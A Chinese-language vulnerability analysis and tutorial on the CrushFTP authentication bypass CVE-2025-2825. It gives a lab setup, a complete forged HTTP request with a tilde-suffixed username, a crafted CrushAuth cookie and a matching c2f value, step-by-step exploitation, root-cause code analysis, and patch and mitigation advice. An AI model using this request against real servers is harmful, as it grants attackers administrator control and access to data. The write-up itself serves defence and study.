CrushFTP 身份验证绕过漏洞(CVE-2025-2825)
字数 1724 2025-08-29 22:41:01
CrushFTP 身份验证绕过漏洞(CVE-2025-2825)深度分析与利用教学
漏洞概述
CVE-2025-2825 是CrushFTP软件中存在的一个严重身份验证绕过漏洞,影响版本包括:
- 10.0.0 到 10.8.3
- 11.0.0 到 11.3.0
该漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过HTTP/HTTPS端口获取管理员权限,可能导致:
- 敏感数据访问
- 系统文件修改
- 服务器完全控制
环境搭建
使用Docker搭建漏洞环境是最简便的方法:
# 拉取受影响版本的CrushFTP镜像
docker pull crushftp/vulnerable:10.8.3
# 运行容器
docker run -d -p 8080:8080 -p 21:21 --name crushftp_vuln crushftp/vulnerable:10.8.3
漏洞复现
构造恶意请求
漏洞利用需要构造特定的HTTP请求头和数据:
-
认证头构造:
- 使用S3风格的授权头格式
- 示例格式:
Authorization: AWS4-HMAC-SHA256 Credential=admin~,SignedHeaders=host;x-amz-date,Signature=... - 关键点:用户名必须包含波浪号(~)
-
CSRF防护绕过:
- 需要同时提供有效的
CrushAuthcookie和c2f参数 CrushAuth格式:13位时间戳 + "_" + 30位随机字符串c2f参数必须匹配cookie末尾4个字符或解码后的用户密码
- 需要同时提供有效的
完整请求示例
POST /WebInterface/function/ HTTP/1.1
Host: target:8080
Authorization: AWS4-HMAC-SHA256 Credential=admin~,SignedHeaders=host;x-amz-date,Signature=...
Cookie: CrushAuth=1234567890123_abcdefghijklmnopqrstuvwxyz123456
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="c2f"
yz12
------WebKitFormBoundary
Content-Disposition: form-data; name="command"
getUserList
------WebKitFormBoundary--
漏洞分析
认证流程分析
-
初始认证处理 (
ServerSessionHTTP#loginCheckHeaderAuth)- 从授权头提取用户标识
- 从Credential参数的等号后开始,到第一个斜杠停止作为用户名
- 如果用户名包含波浪号(~),设置
lookup_user_pass为false - 调用
login_user_pass继续处理
-
用户登录处理 (
SessionCrush#login_user_pass)- 参数传递:
lookup_user_pass→anyPass→ truedoAfterLogin→ falseuser_name→ 原始用户名user_pass→ 空字符串
- 关键调用:
verify_user(user_name, verify_password, anyPass, doAfterLogin)
- 参数传递:
-
用户验证处理 (
SessionCrush#verify_user)- 中间处理层:
- 检查系统是否允许登录
- 处理特殊格式的用户名
- 检查密码特殊标记
- 最终调用
UserTools.ut.verify_user
- 中间处理层:
-
最终验证逻辑 (
UserTools#verify_user)- 当
anyPass参数为true时:- 仅判断用户是否存在
- 不验证密码
- 这是漏洞的根本原因
- 当
CSRF防护机制
-
CrushAuth cookie生成 (
ServerSessionHTTP#createCookieSession)- 格式:前13个字符为时间戳 + "_" + 30位随机字符串
- 随机字符串生成:
Common.makeBoundary(30)
-
c2f参数验证 (
ServerSessionHTTP#parsePostArguments)- 必须满足以下条件之一:
- 匹配cookie末尾4个字符
- 匹配解码后的用户密码
- 否则抛出异常
- 必须满足以下条件之一:
漏洞利用步骤
- 确定目标CrushFTP服务器的HTTP/HTTPS端口
- 构造包含波浪号(~)的用户名(如"admin~")
- 生成有效的CrushAuth cookie:
- 13位当前时间戳
- 连接30位随机字符串
- 提取cookie末尾4个字符作为c2f参数
- 发送包含恶意授权头的HTTP请求
- 通过响应确认是否成功绕过认证
漏洞修复方案
官方修复方案主要修改了登录校验方式:
- 移除了基于波浪号的特殊处理
- 强制要求密码验证,即使anyPass为true
- 加强了CSRF防护机制
建议升级到以下安全版本:
- 10.8.4及以上
- 11.3.1及以上
防御措施
- 立即升级到安全版本
- 如果无法立即升级:
- 限制访问CrushFTP的HTTP/HTTPS端口
- 配置网络ACL只允许可信IP访问
- 监控异常认证尝试
- 定期审计系统日志
- 实施最小权限原则
总结
CVE-2025-2825是一个严重的设计缺陷漏洞,通过精心构造的认证头可以完全绕过身份验证。理解其原理不仅有助于防御,也为安全研究人员提供了认证机制设计的反面教材。建议所有使用CrushFTP的组织立即采取行动,减轻潜在风险。